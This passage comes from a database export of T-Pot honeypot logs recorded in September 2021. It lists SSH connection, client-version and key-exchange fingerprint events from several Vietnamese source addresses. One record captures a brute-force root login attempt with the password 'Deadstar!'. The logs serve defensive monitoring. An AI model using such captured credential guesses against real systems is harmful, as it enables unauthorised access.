"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35356, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.464554", "@timestamp": "2021-09-20T11:11:17.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25959	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:17.880159+03	2021-09-20 14:15:12.652646+03	{"_id": "TgbnAnwBvYTbRNuEMR7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57168, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.880159", "@timestamp": "2021-09-20T11:11:17.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25960	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.550595+03	2021-09-20 14:15:12.653646+03	{"_id": "TwbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:56778 (192.168.176.2:22) [session: 1b5bc737f66b]", "session": "1b5bc737f66b", "@version": "1", "protocol": "ssh", "src_port": 56778, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.550595Z", "@timestamp": "2021-09-20T11:11:17.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25961	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.597493+03	2021-09-20 14:15:12.655644+03	{"_id": "UAbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57168 (192.168.176.2:22) [session: 00d47e2166fb]", "session": "00d47e2166fb", "@version": "1", "protocol": "ssh", "src_port": 57168, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.597493Z", "@timestamp": "2021-09-20T11:11:17.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25962	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:18.51458+03	2021-09-20 14:15:12.656645+03	{"_id": "UQbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38938 (192.168.176.2:22) [session: 7976840379d8]", "session": "7976840379d8", "@version": "1", "protocol": "ssh", "src_port": 38938, "dest_port": 22, "timestamp": "2021-09-20T11:11:18.514580Z", "@timestamp": "2021-09-20T11:11:18.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25963	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:17.632641+03	2021-09-20 14:15:12.657646+03	{"_id": "WQbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2df4b53c5f5b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:17.632641Z", "@timestamp": "2021-09-20T11:11:17.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25964	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:17.635214+03	2021-09-20 14:15:12.658646+03	{"_id": "WgbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2df4b53c5f5b", "@version": "1", "timestamp": "2021-09-20T11:11:17.635214Z", "@timestamp": "2021-09-20T11:11:17.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25965	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.645447+03	2021-09-20 14:15:12.659646+03	{"_id": "WwbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "00d47e2166fb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:17.645447Z", "@timestamp": "2021-09-20T11:11:17.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26035	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:11.818386+03	2021-09-20 14:15:12.750645+03	{"_id": "8AbnAnwBvYTbRNuEGh38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/Deadstar!] failed", "session": "f3138ab24b58", "@version": "1", "password": "Deadstar!", "username": "root", "timestamp": "2021-09-20T11:11:11.818386Z", "@timestamp": "2021-09-20T11:11:11.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25966	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:17.751331+03	2021-09-20 14:15:12.662644+03	{"_id": "XAbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "227585faa5ac", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:17.751331Z", "@timestamp": "2021-09-20T11:11:17.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25967	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:17.829156+03	2021-09-20 14:15:12.663646+03	{"_id": "XQbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "227585faa5ac", "@version": "1", "timestamp": "2021-09-20T11:11:17.829156Z", "@timestamp": "2021-09-20T11:11:17.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25968	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.880785+03	2021-09-20 14:15:12.665647+03	{"_id": "XgbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "00d47e2166fb", "@version": "1", "timestamp": 